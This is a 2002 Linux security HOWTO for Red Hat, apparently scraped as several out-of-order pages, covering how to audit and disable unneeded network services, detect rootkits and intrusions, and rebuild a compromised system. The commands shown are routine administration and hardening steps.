  • So you have a full-time Internet connection via cable-modem or DSL. But do you always use it, or always need it? There's an old saying that "the only truly secure system, is a disconnected system". Well, that's certainly one option. So take that interface down, or stop the controlling daemon (dhcpcd, pppoed, etc). Or possibly even set up cron jobs to bring your connection up and down according to your normal schedule and usage.

  • What about cable and DSL routers that are often promoted as "firewalls"? The lower priced units are mostly equating NAT (Network Address Translation), together with the ability to open holes for ports through it, as a firewall. While NAT itself does provide a fair degree of security for the systems behind the NAT gateway, this does not constitute anything but a very rudimentary firewall. And if holes are opened, there is still exposure. Also, you are relying on the router's firmware and implementation not to be flawed. It is wise to have some kind of additional protection behind such routers.

  • What about wireless network cards and hubs? Insecure, despite what the manufacturers may claim. Treat these connections just as you would an Internet connection. Use secure protocols like ssh only! Even if it is just one LAN box to another.

  • If you find you need to run a particular service, and it is for just you, or maybe a relatively small number of people, use a non-standard port. Most server daemons support this. For instance, sshd runs on port 22 by default. All worms and script kiddies will expect it there, and look for it there. So, run it on another port! See the sshd man page.

  • Lastly, know your system! Let's face it, if you are new to Linux, you can't already know something you have never used. Understood. But in the process of learning, learn how to do things the right way, not the easiest way. There is several decades of history behind "the right way" of doing things. This has stood the test of time. What may seem unnecessary or burdensome now, will make sense in due time.

    Be familiar with whatever services you are running, and the implications these services might have to the overall health of your system if something does go wrong. Read what you can, and ask questions. Don't run something as a service "just because I can", or because the installer put it there. You can't start out being an experienced System Administrator clearly. But you can work to learn enough about your own system, that you are in control. This is one thing that separates *nix from MS systems: we can never be in complete control with MS, but we can with *nix. Conversely, if something bad happens, we often have no one else to blame.

Prev | Home | Next
Intrusion Detection |  | Appendix


Security Quick-Start HOWTO for Red Hat Linux

Hal Burgiss

hal@foobox.net

v. 1.1, 2002-02-06

Revision History
Revision v. 1.1 | 2002-02-06 | Revised by: hb
A few fixes, some additions and many touch-ups from the original.
Revision v. 1.0 | 2001-11-07 | Revised by: hb
Initial Release.

This document is a an overview of the basic steps required to secure a Linux installation from intrusion. It is intended to be an introduction. This is a Red Hat specific version of this document.

Table of Contents
1. Introduction
1.1. Why me?
1.2. Notes
1.3. Copyright
1.4. Credits
1.5. Disclaimer
1.6. New Versions and Changelog
1.7. Feedback
2. Foreword
2.1. The Optimum Configuration
2.2. Before We Start
3. Step 1: Which services do we really need?
3.1. System Audit
3.2. The Danger Zone (or r00t m3 pl34s3)
3.3. Stopping Services
3.4. Exceptions
3.5. Summary and Conclusions for Step 1
4. Step 2: Updating
4.1. Summary and Conclusions for Step 2
5. Step 3: Firewalls and Setting Access Policies
5.1. Strategy
5.2. Packet Filters -- Ipchains and Iptables
5.3. Tcpwrappers (libwrap)
5.4. PortSentry
5.5. Proxies
5.6. Individual Applications
5.7. Verifying
5.8. Logging
5.9. Where to Start
5.10. Summary and Conclusions for Step 3
6. Intrusion Detection
6.1. Intrusion Detection Systems (IDS)
6.2. Have I Been Hacked?
6.3. Reclaiming a Compromised System
7. General Tips
8. Appendix
8.1. Servers, Ports, and Packets
8.2. Common Ports
8.3. Netstat Tutorial
8.4. Attacks and Threats
8.5. Links
8.6. Editing Text Files
8.7. nmap
8.8. Sysctl Options
8.9. Secure Alternatives
8.10. Ipchains and Iptables Redux
Next
Introduction


Introduction

Security Quick-Start HOWTO for Red Hat Linux
Prev Next

1. Introduction

1.1. Why me?

Who should be reading this document and why should the average Linux user care about security? Those new to Linux, or unfamiliar with the inherent security issues of connecting a Linux system to large networks like Internet should be reading. "Security" is a broad subject with many facets, and is covered in much more depth in other documents, books, and on various sites on the Web. This document is intended to be an introduction to the most basic concepts as they relate to Red Hat Linux, and as a starting point only.

Iptables Weekly Log Summary from Jul 15 04:24:13 to Jul 22 04:06:00
Blocked Connection Attempts:

Rejected tcp packets by destination port

port                 count
111                  19
53                   12
21                   9
515                  9
27374                8
443                  6
1080                 2
1138                 1

Rejected udp packets by destination port

port                 count
137                  34
22                   1

The above is real, live data from a one week period for my home LAN. Much of the above would seem to be specifically targeted at Linux systems. Many of the targeted "destination" ports are used by well known Linux and Unix services, and all may be installed, and possibly even running, on your system.

The focus here will be on threats that are shared by all Linux users, whether a dual boot home user, or large commercial site. And we will take a few, relatively quick and easy steps that will make a typical home Desktop system or small office system running Red Hat Linux reasonably safe from the majority of outside threats. For those responsible for Linux systems in a larger or more complex environment, you'd be well advised to read this, and then follow up with additional reading suitable to your particular situation. Actually, this is probably good advice for everybody.

We will assume the reader knows little about Linux, networking, TCP/IP, and the finer points of running a server Operating System like Linux. We will also assume, for the sake of this document, that all local users are "trusted" users, and won't address physical or local network security issues in any detail. Again, if this is not the case, further reading is strongly recommended.

The principles that will guide us in our quest are:

  • There is no magic bullet. There is no one single thing we can do to make us secure. It is not that simple.

  • Security is a process that requires maintenance, not an objective to be reached.

  • There is no 100% safe program, package or distribution. Just varying degrees of insecurity.

The steps we will be taking to get there are:

  • Step 1: Turn off, and perhaps uninstall, any and all unnecessary services.

  • Step 2: Make sure that any services that are installed are updated and patched to the current, safe version -- and then stay that way. Every server application has potential exploits. Some have just not been found yet.

  • Step 3: Limit connections to us from outside sources by implementing a firewall and/or other restrictive policies. The goal is to allow only the minimum traffic necessary for whatever our individual situation may be.

  • Awareness. Know your system, and how to properly maintain and secure it. New vulnerabilities are found, and exploited, all the time. Today's secure system may have tomorrow's as yet unfound weaknesses.

If you don't have time to read everything, concentrate on Steps 1, 2, and 3. This is where the meat of the subject matter is. The Appendix has a lot of supporting information, which may be helpful, but may not be necessary for all readers.

1.2. Notes

This is a Red Hat specific version of this document. The included examples are compatible with Red Hat 7.0 and later. Actually, most examples should work with earlier versions of Red Hat as well. Also, this document should be applicable to other distributions that are Red Hat derivatives, such as Mandrake, Conectiva, etc.

Overwhelmingly, the content of this document is not peculiar to Red Hat. The same rules and methodologies apply to other Linuxes. And indeed, to other Operating Systems as well. But each may have their own way of doing things -- the file names and locations may differ, as may the system utilities that we rely on. It is these differences that make this document a "Red Hat" version.

1.3. Copyright

Security-Quickstart HOWTO for Red Hat Linux

Copyright © 2001 Hal Burgiss.

This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You can get a copy of the GNU GPL at at http://www.gnu.org/copyleft/gpl.html.

1.4. Credits

Many thanks to those who helped with the production of this document.

  • Bill Staehle, who has done a little bit of everything: ideas, editing, encouragement, and suggestions, many of which have been incorporated. Bill helped greatly with the content of this document.

  • Others who have contributed in one way or another: Dave Wreski, Ian Jones, and Jacco de Leeuw.

  • Various posters on comp.os.linux.security, a great place to learn about Linux and security.

  • The Netfilter Development team for their work on iptables and connection tracking, state of the art tools with which to protect our systems.

1.5. Disclaimer

The author accepts no liability for the contents of this document. Use the concepts, examples and other content at your own risk. As this is a new document, there may be errors and inaccuracies. Hopefully these are few and far between. Corrections and suggestions are welcomed.

This document is intended to give the new user a starting point for securing their system while it is connected to the Internet. Please understand that there is no intention whatsoever of claiming that the contents of this document will necessarily result in an ultimately secure and worry-free computing environment. Security is a complex topic. This document just addresses some of the most basic issues that inexperienced users should be aware of.

The reader is encouraged to read other security related documentation and articles. And to stay abreast of security issues as they evolve. Security is not an objective, but an ongoing process.

1.6. New Versions and Changelog

The current official version can always be found at http://www.linuxdoc.org/HOWTO/Security-Quickstart-Redhat-HOWTO/. Pre-release versions can be found at http://feenix.burgiss.net/ldp/quickstart-rh/.

Other formats, including PDF, PS, single page HTML, may be found at the Linux Documentation HOWTO index page: http://linuxdoc.org/docs.html#howto.

Changelog:

Version 1.1: Various corrections, amplifications and numerous mostly small additions. Too many to list. Oh yea, learn to spell Red Hat correctly ;-)

Version 1.0: This is the initial release of this document. Comments welcomed.

1.7. Feedback

Any and all comments on this document are most welcomed. Please make sure you have the most current version before submitting corrections or suggestions! These can be sent to <hal@foobox.net>.

Prev | Home | Next
Security Quick-Start HOWTO for Red Hat Linux |  | Foreword


Intrusion Detection

Security Quick-Start HOWTO for Red Hat Linux
Prev Next

6. Intrusion Detection

This section will deal with how to get early warning, how to be alerted after the fact, and how to clean up from intrusion attempts.

6.1. Intrusion Detection Systems (IDS)

Intrusion Detection Systems (IDS for short) are designed to catch what might have gotten past the firewall. They can either be designed to catch an active break-in attempt in progress, or to detect a successful break-in after the fact. In the latter case, it is too late to prevent any damage, but at least we have early awareness of a problem. There are two basic types of IDS: those protecting networks, and those protecting individual hosts.

For host based IDS, this is done with utilities that monitor the filesystem for changes. System files that have changed in some way, but should not change -- unless we did it -- are a dead give away that something is amiss. Anyone who gets in, and gets root, will presumably make changes to the system somewhere. This is usually the very first thing done. Either so he can get back in through a backdoor, or to launch an attack against someone else. In which case, he has to change or add files to the system.

This is where tools like tripwire (http://www.tripwire.org) play a role. Tripwire is included beginning with Red Hat 7.0. Such tools monitor various aspects of the filesystem, and compare them against a stored database. And can be configured to send an alert if any changes are detected. Such tools should only be installed on a known "clean" system.

For home desktops and home LANs, this is probably not an absolutely necessary component of an overall security strategy. But it does give peace of mind, and certainly does have its place. So as to priorities, make sure the Steps 1, 2 and 3 above are implemented and verified to be sound, before delving into this.

We can get somewhat the same results with rpm -Va, which will verify all packages, but without all the same functionality. For instance, it will not notice new files added to most directories. For this to be helpful, it needs to be done after a clean install, and then each time any packages are upgraded or added. Example:

 # rpm -Va > /root/system.checked

Then we have a stored system snapshot that we can refer back to.

Another idea is to run chkrootkit (http://www.chkrootkit.org/) as a weekly cron job. This will detect common "rootkits".

6.2. Have I Been Hacked?

Maybe you are reading this because you've noticed something "odd" about your system, and are suspicious that someone was gotten in? This can be a clue.

The first thing an intruder typically does is install a "rootkit". There are many prepackaged rootkits available on the Internet. The rootkit is essentially a script, or set of scripts, that makes quick work of modifying the system so the intruder is in control, and he is well hidden. He does this by installing modified binaries of common system utilities and tampering with log files. Or by using special kernel modules that achieve similar results. So common commands like ls may be modified so as to not show where he has his files stored. Clever!

A well designed rootkit can be quite effective. Nothing on the system can really be trusted to provide accurate feedback. Nothing! But sometimes the modifications are not as smooth as intended and give hints that something is not right. Some things that might be warning signs:

  • Login acts weird. Maybe no one can login. Or only root can login. Any login weirdness at all should be suspicious. Similarly, any weirdness with adding or changing passwords.

  • System utilities are slower, or awkward, or show strange and unexpected results. Common utilities that might be modified are: ls, find, who, w, last, netstat, login, ps, top. This is not a definitive list!

  • Files or directories named "..." or ".. " (dot dot space). A sure bet in this case. Files with haxor looking names like "r00t-something".

  • Unexplained bandwidth usage.

  • Logs that are missing completely, or missing large sections. Or a sudden change in syslog behavior.

  • Mysterious open ports, or processes.

  • Files that cannot be deleted or moved. Some rootkits use chattr to make files "immutable", or not changable. This kind of change will not show up with ls, so the files look normal at first glance. See the man pages for chattr and lsattr on how to reverse this. Then see the next section below on restoring your system as the jig is up at this point.

  • Indications of a "sniffer", such as log messages of an interface entering "promiscuous" mode.

  • Modifications to /etc/inetd.conf, or /etc/passwd. Especially, any additions. Try using cat or tail to view these files. Additions will most likely be appended to the end. Remember though such changes may not be "visible" to any system tools.

Sometimes the intruder is not so smart and forgets about root's .bash_history, or cleaning up log entries, or even leaves strange, leftover files in /tmp. So these should always be checked. Just don't necessarily expect them to be accurate.

Packet sniffers, like tcpdump (http://www.tcpdump.org), might be useful in finding any uninvited traffic. Interpreting sniffer output is probably beyond the average new user. snort (http://www.snort.org), and ethereal (http://www.ethereal.com), are also good. Ethereal has a GUI.

As mentioned, a compromised system will undoubtedly have altered system binaries, and the output of system utilities is not to be trusted. Nothing on the system can be relied upon to be telling you the truth. Re-installing individual packages may or may not help since it could be system libraries or kernel modules that are doing the dirty work.

We can use rpm -Va |less to attempt to verify the integrity all packages. But again there is no assurance that rpm itself has not been tampered with, or the system components that RPM relies on.

If you have pstree on your system, try this instead of the standard ps. Sometimes the script kiddies forget about this one. No guarantees though that this is accurate either.

You can also try querying the /proc filesystem, which contains everything the kernel knows about processes that are running:

 # cat /proc/*/stat | awk '{print $1,$2}'

This will provide a list of all processes and PIDs numbers (assuming a malicious kernel module is not hiding this).

Another approach is to visit http://www.chkrootkit.org, download their rootkit checker, and see what it says.

Some interesting discussions on issues surrounding forensics can be found at http://www.fish.com/security/. There is also a collection of tools available, aptly called "The Coroner's Toolkit" (TCT).

Read below for steps on recovering from an intrusion.

6.3. Reclaiming a Compromised System

So now you've confirmed a break-in, and know that someone else has root access, and quite likely one or more hidden backdoors to your system. You've lost control. How to clean up and regain control?

There is no sure fire way of doing this short of a complete re-install. There is no way to find with assurance all the modified files and backdoors that may have been left. Trying to patch up a compromised system risks a false sense of security and may actually aggravate an already bad situation.

The steps to take, in this order:

  • Pull the plug and disconnect the machine. You may be unwittingly participating in criminal activity, and doing to others what has been done to you.

  • Depending on the needs of the situation and time available to restore the system, it is advantageous to learn as much as you can about how the attacker got in, and what was done in order to plug the hole and avoid a recurrence. This could conceivably be time consuming, and is not always feasible. And it may require more expertise than the typical user possesses.

  • Backup important data. Do not include any system files in the backup, and system configuration files like inetd.conf. Limit the backup to personal data files only! You don't want to backup, then restore something that might open a backdoor or other hole.

  • Re-install from scratch, and reformat the drive during the installation (mke2fs) to make sure no remnants are hiding.

  • Restore from backups. After a clean install is the best time to install an IDS (Intrusion Detection System) such as tripwire (http://www.tripewire.org).

  • Apply all updates from ftp://updates.redhat.com.

  • Re-examine your system for unnecessary services. Re-examine your firewall and access policies, and tighten all holes. Use new passwords, as these were stolen in all likelihood.

  • Re-connect system ;-)

At this time, any rootkit cleanup tools that may be available on-line are not recommended. They probably do work just fine most of the time. But again, how to be absolutely sure that all is well and all vestiges of the intrusion are gone?

Prev | Home | Next
Step 3: Firewalls and Setting Access Policies |  | General Tips


Step 1: Which services do we really need?

Security Quick-Start HOWTO for Red Hat Linux
Prev Next

3. Step 1: Which services do we really need?

In this section we will see which services are running on our freshly installed system, decide which we really need, and do away with the rest. If you are not familiar with how servers and TCP connections work, you may want to read the section on servers and ports in the Appendix first. If not familiar with the netstat utility, you may want to read a quick overview of it beforehand. There is also a section in the Appendix on ports, and corresponding services. You may want to look that over too.

Our goal is to turn off as many services as possible. If we can turn them all off, or at least off to outside connections, so much the better. Some rules of thumb we will use to guide us:

  • It is perfectly possible to have a fully functional Internet connection with no servers running that are accessible to outside connections. Not only possible, but desirable in many cases. The principle here is that you will never be successfully broken into via a port that is not opened because no server is listening on it. No server == no port open == not vulnerable. At least to outside connections.

  • If you don't recognize a particular service, chances are good you don't really need it. We will assume that and so we'll turn it off. This may sound dangerous, but is a good rule of thumb to go by.

  • Some services are just not intended to be run over the Internet -- even if you decide it is something you really do need. We'll flag these as dangerous, and address these in later sections, should you decide you do really need them, and there is no good alternative.

3.1. System Audit

So what is really running on our system anyway? Let's not take anything for granted about what "should" be running, or what we "think" is running.

Which services get installed and started will vary greatly depending on which version of Red Hat, and which installation options were chosen. Earlier releases were very much prone to start many services and then let the user figure out which ones were needed, and which ones weren't. Recent versions are much more cautious. But this makes providing a ready made list of likely services impossible. Not to worry, as we shouldn't trust what is supposed to be running anyway. What we need to do is list for ourselves all running services.

Now open an xterm, and su to root. You'll need to widen the window wide so the lines do not wrap. Use this command: netstat -tap |grep LISTEN. This will give us a list of all currently running servers as indicated by the keyword LISTEN, along with the "PID" and "Program Name" that started each particular service.

# netstat -tap |grep LISTEN
  *:exec               *:*        LISTEN    988/inetd
  *:login              *:*        LISTEN    988/inetd
  *:shell              *:*        LISTEN    988/inetd
  *:printer            *:*        LISTEN    988/inetd
  *:time               *:*        LISTEN    988/inetd
  *:x11                *:*        LISTEN    1462/X
  *:http               *:*        LISTEN    1078/httpd
  bigcat:domain        *:*        LISTEN    956/named
  bigcat:domain        *:*        LISTEN    956/named
  *:ssh                *:*        LISTEN    972/sshd
  *:auth               *:*        LISTEN    388/in.identd
  *:telnet             *:*        LISTEN    988/inetd
  *:finger             *:*        LISTEN    988/inetd
  *:sunrpc             *:*        LISTEN    1290/portmap
  *:ftp                *:*        LISTEN    988/inetd
  *:smtp               *:*        LISTEN    1738/sendmail: accepting connections
  *:1694               *:*        LISTEN    1319/rpc.mountd
  *:netbios-ssn        *:*        LISTEN    422/smbd

Red Hat 7.x and Mandrake 8.x and later users will have xinetd in place of inetd. Note the first three columns are cropped above for readability. If your list is as long as the example, you have some work ahead of you! It is highly unlikely that you really need anywhere near this number of servers running.

Please be aware that the example above is just one of many, many possible system configurations. Yours probably does look very different.

You don't understand what any of this is telling you? Hopefully then, you've read the netstat tutorial in the Appendix, and understand how it works. Understanding exactly what each server is in the above example, and what it does, is beyond the scope of this document. You will have to check your system's documentation (e.g. Installation Guide, man pages, etc) if that service is important to you. For example, does "exec", "login", and "shell" sound important? Yes, but these are not what they may sound like. They are actually rexec, rlogin, and rsh, the "r" (for remote) commands. These are antiquated, unnecessary, and in fact, are very dangerous if exposed to the Internet.

Let's make a few quick assumptions about what is necessary and unnecessary, and therefore what goes and what stays on bigcat. Since we are running a desktop on bigcat, X11 of course needs to stay. If bigcat were a dedicated server of some kind, then X11 would be unnecessary. If there is a printer physically attached, the printer (lp) daemon should stay. Otherwise, it goes. Print servers may sound harmless, but are potential targets too since they can hold ports open. If we plan on logging in to bigcat from other hosts, sshd (Secure SHell Daemon) would be necessary. If we have Microsoft hosts on our LAN, we probably want Samba, so smbd should stay. Otherwise, it is completely unnecessary. Everything else in this example is optional and not required for a normally functioning system, and should probably go. See anything that you don't recognize? Not sure about? It goes!

To sum up: since bigcat is a desktop with a printer attached, we will need "x11", "printer". bigcat is on a LAN with MS hosts, and shares files and printing with them, so "netbios-ssn" (smbd) is desired. We will also need "ssh" so we can login from other machines. Everything else is unnecessary for this particular case.

Nervous about this? If you want, you can make notes of any changes you make or save the list of servers you got from netstat, with this command: netstat -tap |grep LISTEN > ~/services.lst. That will save it your home directory with the name of "services.lst" for future reference.

This is to not say that the ones we have decided to keep are inherently safe. Just that we probably need these. So we will have to deal with these via firewalling or other means (addressed below).

It is worth noting that the telnet and ftp daemons in the above example are servers, aka "listeners". These accept incoming connections to you. You do not need, or want, these just to use ftp or telnet clients. For instance, you can download files from an FTP site with just an ftp client. Running an ftp server on your end is not required at all, and has serious security implications.

There may be individual situations where it is desirable to make exceptions to the conclusions reached above. See below.

3.2. The Danger Zone (or r00t m3 pl34s3)

The following is a list of services that should not be run over the Internet. Either disable these (see below), uninstall, or if you really do need these services running locally, make sure they are the current, patched versions and that they are effectively firewalled. And if you don't have a firewall in place now, turn them off until it is up and verified to be working properly. These are potentially insecure by their very nature, and as such are prime cracker targets.

  • NFS (Network File System) and related services, including nfsd, lockd, mountd, statd, portmapper, etc. NFS is the standard Unix service for sharing file systems across a network. Great system for LAN usage, but dangerous over the Internet. And its completely unnecessary on a stand alone system.

  • rpc.* services, Remote Procedure Call.*, typically NFS and NIS related (see above).

  • Printer services (lpd).

  • The so-called r* (for "remote", i.e. Remote SHell) services: rsh, rlogin, rexec, rcp etc. Unnecessary, insecure and potentially dangerous, and better utilities are available if these capabilities are needed. ssh will do everything these command do, and in a much more sane way. See the man pages for each if curious. These will probably show in netstat output without the "r": rlogin will be just "login", etc.

  • telnet server. There is no reason for this anymore. Use sshd instead.

  • ftp server. There are better, safer ways for most systems to exchange files like scp or via http (see below). ftp is a proper protocol only for someone who is running a dedicated ftp server, and who has the time and skill to keep it buttoned down. For everyone else, it is potentially big trouble.

  • BIND (named), DNS server package. With some work, this can be done without great risk, but is not necessary in many situations, and requires special handling no matter how you do it. See the sections on Exceptions and special handling for individual applications.

  • Mail Transport Agent, aka "MTA" (sendmail, exim, postfix, qmail). Most installations on single computers will not really need this. If you are not going to be directly receiving mail from Internet hosts (as a designated MX box), but will rather use the POP server of your ISP, then it is not needed. You may however need this if you are receiving mail directly from other hosts on your LAN, but initially it's safer to disable this. Later, you can enable it over the local interface once your firewall and access policies have been implemented.

This is not necessarily a definitive list. Just some common services that are sometimes started on default Red Hat installations. And conversely, this does not imply that other services are inherently safe.

3.3. Stopping Services

The next step is to find where each server on our kill list is being started. If it is not obvious from the netstat output, use ps, find, grep or locate to find more information from the "Program name" or "PID" info in the last column. There is examples of this in the Process Owner section in the netstat Tutorial of the Appendix. If the service name or port number do not look familiar to you, you might get a real brief explanation in your /etc/services file.

chkconfig is a very useful command for controlling services that are started via init scripts (see example below). Also, where xinetd is used, it can control those services as well. chkconfig can tell us what services the system is configured to run, but not necessarily all services that are indeed actually running. Or what services may be started by other means, e.g. from rc.local. It is a configuration tool, more than a real time system auditing too.

Skeptical that we are going to break your system, and the pieces won't go back together again? If so, take this approach: turn off everything listed above in "The Danger Zone", and run your system for a while. OK? Try stopping one of the ones we found to be "unnecessary" above. Then, run the system for a while. Keep repeating this process, until you get to the bare minimum. If this works, then make the changes permanent (see below).

The ultimate objective is not just to stop the service now, but to make sure it is stopped permanently! So whatever steps you take here, be sure to check after your next reboot.

There are various places and ways to start system services. Let's look at the most common ways this is done, and is probably how your system works. System services are typically either started by "init" scripts, or by inetd (or its replacement xinetd) on most distributions.

3.3.1. Stopping Init Services

Init services are typically started automatically during the boot process, or during a runlevel change. There is a naming scheme that uses symlinks to determine which services are to be started, or stopped, at any given runlevel. The scripts themselves should be in /etc/init.d/ (or possibly /etc/rc.d/init.d/ for older versions of Red Hat).

You can get a listing of these scripts:

  # ls -l /etc/rc.d/init.d/ | less

To stop a running service now, as root:

 # /etc/init.d/<$SERVICE_NAME> stop

Where "$SERVICE_NAME" is the name of the init script, which is often, but not always, the same as the service name itself. Older Red Hat versions may use the path /etc/rc.d/init.d/ instead.

This only stops this particular service now. It will restart again on the next reboot, or runlevel change, unless additional steps are taken. So this is really a two step process for init type services.

chkconfig can be used to see what services are started at each runlevel, and to turn off any unneeded services. To view all services under its control, type this command in an xterm:

 # chkconfig --list | less

To view only the ones that are "on":

 # chkconfig --list | grep "\bon\b" | less

The first column is the service name, and the remaining columns are the various runlevels. We need generally only worry about runlevels 3 (boot to text console login) and 5 (boot straight to X11 login). xinetd services won't have columns, since that aspect would be controlled by xinetd itself.

Examples of commands to turn services "off":

 # chkconfig portmapper off
 # chkconfig nfs off
 # chkconfig telnet off
 # chkconfig rlogin off

Note that the last two are xinetd services. A very easy and nifty tool to use! Red Hat also includes ntsysv and tksysv (GUI) for runlevel and service configuration. See the man pages for additional command line options.

Another option here is to uninstall a package if you know you do not need it. This is a pretty sure-fire, permanent fix. This also alleviates the potential problem of keeping all installed packages updated and current (Step 2). RPM makes it very easy to re-install a package should you change your mind.

To uninstall packages with RPM:

 # rpm -ev telnet-server  rsh  rsh-server

The above command would uninstall the "telnet server" package (but not telnet client!), "rsh" client and "rsh server" packages in one command. Red Hat also includes gnorpm, a GUI RPM management utility which can do this as well.

3.3.2. Inetd

Inetd is called a "super-daemon" because it is used to spawn sub-daemons. inetd itself will generally be started via init scripts, and will "listen" on the various ports as determined by which services are enable in its configuration file, /etc/inetd.conf. Any service listed here will be under the control of inetd. Likewise, any of the listening servers in netstat output that list "inetd" in the last column under "Program Name", will have been started by inetd. You will have to adjust the inetd configuration to stop these services. xinetd is an enhanced inetd replacement, and is configured differently (see next section below).

Below is a partial snippet from a typical inetd.conf. Any service with a "#" at the beginning of the line is "commented out", and thus ignored by inetd, and consequently disabled.

#
# inetd.conf  This file describes the services that will be available
#    through the INETD TCP/IP super server.  To re-configure
#    the running INETD process, edit this file, then send the
#    INETD process a SIGHUP signal.
#
# Version:  @(#)/etc/inetd.conf  3.10  05/27/93
#
# Authors:  Original taken from BSD UNIX 4.3/TAHOE.
#    Fred N. van Kempen, <waltje@uwalt.nl.mugnet.org>
#
# Modified for Debian Linux by Ian A. Murdock <imurdock@shell.portal.com>
#
# Echo, discard, daytime, and chargen are used primarily for testing.
#
# To re-read this file after changes, just do a 'killall -HUP inetd'
#
#echo  stream  tcp  nowait  root  internal
#echo  dgram  udp   wait    root  internal
#discard  stream  tcp  nowait  root  internal
#discard  dgram  udp   wait    root  internal
#daytime  stream tcp   nowait  root  internal
#daytime  dgram  udp   wait    root  internal
#chargen  stream tcp   nowait  root  internal
#chargen  dgram  udp   wait    root  internal
time  stream    tcp   nowait  root  internal
#
# These are standard services.
#
#ftp     stream  tcp   nowait  root  /usr/sbin/tcpd  in.ftpd -l -a
#telnet  stream  tcp   nowait  root  /usr/sbin/tcpd  in.telnetd
#
# Shell, login, exec, comsat and talk are BSD protocols.
#
#shell  stream  tcp  nowait  root  /usr/sbin/tcpd  in.rshd
#login  stream  tcp  nowait  root  /usr/sbin/tcpd  in.rlogind
#exec   stream  tcp  nowait  root  /usr/sbin/tcpd  in.rexecd
#comsat dgram   udp  wait    root  /usr/sbin/tcpd  in.comsat
#talk   dgram   udp  wait    root  /usr/sbin/tcpd  in.talkd
#ntalk  dgram   udp  wait    root  /usr/sbin/tcpd  in.ntalkd
#dtalk  stream  tcp  wait    nobody /usr/sbin/tcpd in.dtalkd
#
# Pop and imap mail services et al
#
#pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd  ipop2d
pop-3    stream  tcp     nowait  root    /usr/sbin/tcpd  ipop3d
#imap    stream  tcp     nowait  root    /usr/sbin/tcpd  imapd
#
# The Internet UUCP service.
#
#uucp  stream tcp nowait uucp /usr/sbin/tcpd  /usr/lib/uucp/uucico -l
#

<snip>

The above example has two services enabled: time and pop3. To disable these, all we need is to open the file with a text editor, comment out the two services with a "#", save the file, and then restart inetd (as root):

  # /etc/rc.d/init.d/inetd restart

Check your logs for errors, and run netstat again to verify all went well.

A quicker way of getting the same information, using grep:

 $ grep  -v '^#' /etc/inetd.conf
 time     stream  tcp     nowait  root  internal
 pop-3    stream  tcp     nowait  root  /usr/sbin/tcpd  ipop3d

Again, do you see anything there that you don't know what it is? Then in all likelihood you are not using it, and it should be disabled.

Unlike the init services configuration, this is a lasting change so only the one step is required.

Let's expose one myth that gets tossed around: you shouldn't disable a service by commenting out, or removing, entries from /etc/services. This may have the desired effect in some cases, but is not the right way to do it, and may interfere with the normal operation of other system utilities.

3.3.3. Xinetd

xinetd is an inetd replacement with enhancements. Red Hat includes xinetd with 7.0 and later releases. It essentially serves the same purpose as inetd, but the configuration is different. The configuration can be in the file /etc/xinetd.conf, or individual files in the directory /etc/xinetd.d/. Configuration of individual services will be in the individual files under /etc/xinetd.d/*. Turning off xinetd services is done by either deleting the corresponding configuration section, or file. Or by using your text editor and simply setting disable = yes for the appropriate service. Or by using chkconfig. Then, xinetd will need to be restarted. See man xinetd and man xinetd.conf for syntax and configuration options. A sample xinetd configuration:

 # default: on
 # description: The wu-ftpd FTP server serves FTP connections. It uses \
 #       normal, unencrypted usernames and passwords for authentication.
 service ftp
 {
        disable                 = no
        socket_type             = stream
        wait                    = no
        user                    = root
        server                  = /usr/sbin/in.ftpd
        server_args             = -l -a
        log_on_success          += DURATION USERID
        log_on_failure          += USERID
        nice                    = 10
 }

You can get a quick list of enabled services:

 $ grep disable /etc/xinetd.d/* |grep no
 /etc/xinetd.d/finger:   disable = no
 /etc/xinetd.d/rexec:    disable = no
 /etc/xinetd.d/rlogin:   disable = no
 /etc/xinetd.d/rsh:      disable = no
 /etc/xinetd.d/telnet:   disable = no
 /etc/xinetd.d/wu-ftpd:  disable = no

At this point, the above output should raise some red flags. In the overwhelming majority of systems, all the above can be disabled without any adverse impact. Not sure? Try it without that service. After disabling unnecessary services, then restart xinetd:

  # /etc/rc.d/init.d/xinetd restart

3.3.4. When All Else Fails

OK, if you can't find the "right" way to stop a service, or maybe a service is being started and you can't find how or where, you can "kill" the process. To do this, you will need to know the PID (Process I.D.). This can be found with ps, top, fuser or other system utilities. For top and ps, this will be the number in the first column. See the Port and Process Owner section in the Appendix for examples.

Example (as root):

 # kill 1163

Then run top or ps again to verify that the process is gone. If not, then:

 # kill -KILL 1163

Note the second "KILL" in there. This must be done either by the user who owns the process, or root. Now go find where and how this process got started ;-)

The /proc filesystem can also be used to find out more information about each process. Armed with the PID, we can find the path to a mysterious process:

 $ /bin/ps ax|grep tcpgate
  921 ?   S    0:00        tcpgate

 # ls -l /proc/921/exe
 lrwxrwxrwx 1 root  root  0 July 21 12:11 /proc/921/exe -> /usr/local/bin/tcpgate

3.4. Exceptions

Above we used the criteria of turning off all unnecessary services. Sometimes that is not so obvious. And sometimes what may be required for one person's configuration is not the same for another's. Let's look at a few common services that fall in this category.

Again, our rule of thumb is if we don't need it, we won't run it. It's that simple. If we do need any of these, they are prime candidates for some kind of restrictive policies via firewall rules or other mechanisms (see below).

  • identd - This is a protocol that has been around for ages, and is often installed and running by default. It is used to provide a minimal amount of information about who is connecting to a server. But, it is not necessary in many cases. Where might you need it? Most IRC servers require it. Many mail servers use it, but don't really require it. Try your mail setup without it. If identd is going to be a problem, it will be because there is a time out before before the server starts sending or receiving mail. So mail should work fine without it, but may be slower. A few ftp servers may require it. Most don't though. Older versions of Red Hat started identd via inetd. Recent versions start this via init scripts.

    If identd is required, there are some configuration options that can greatly reduce the information that is revealed:

    /usr/sbin/in.identd in.identd -l -e -o -n -N

    The -o flag tells identd to not reveal the operating system type it is run on and to instead always return "OTHER". The -e flag tells identd to always return "UNKNOWN-ERROR" instead of the "NO-USER" or "INVALID-PORT" errors. The -n flag tells identd to always return user numbers instead of user names, if you wish to keep the user names a secret. The -N flag makes identd check for the file .noident in the user's home directory for which the daemon is about to return a user name. It that file exists then the daemon will give the error "HIDDEN-USER" instead of the normal "USERID" response.

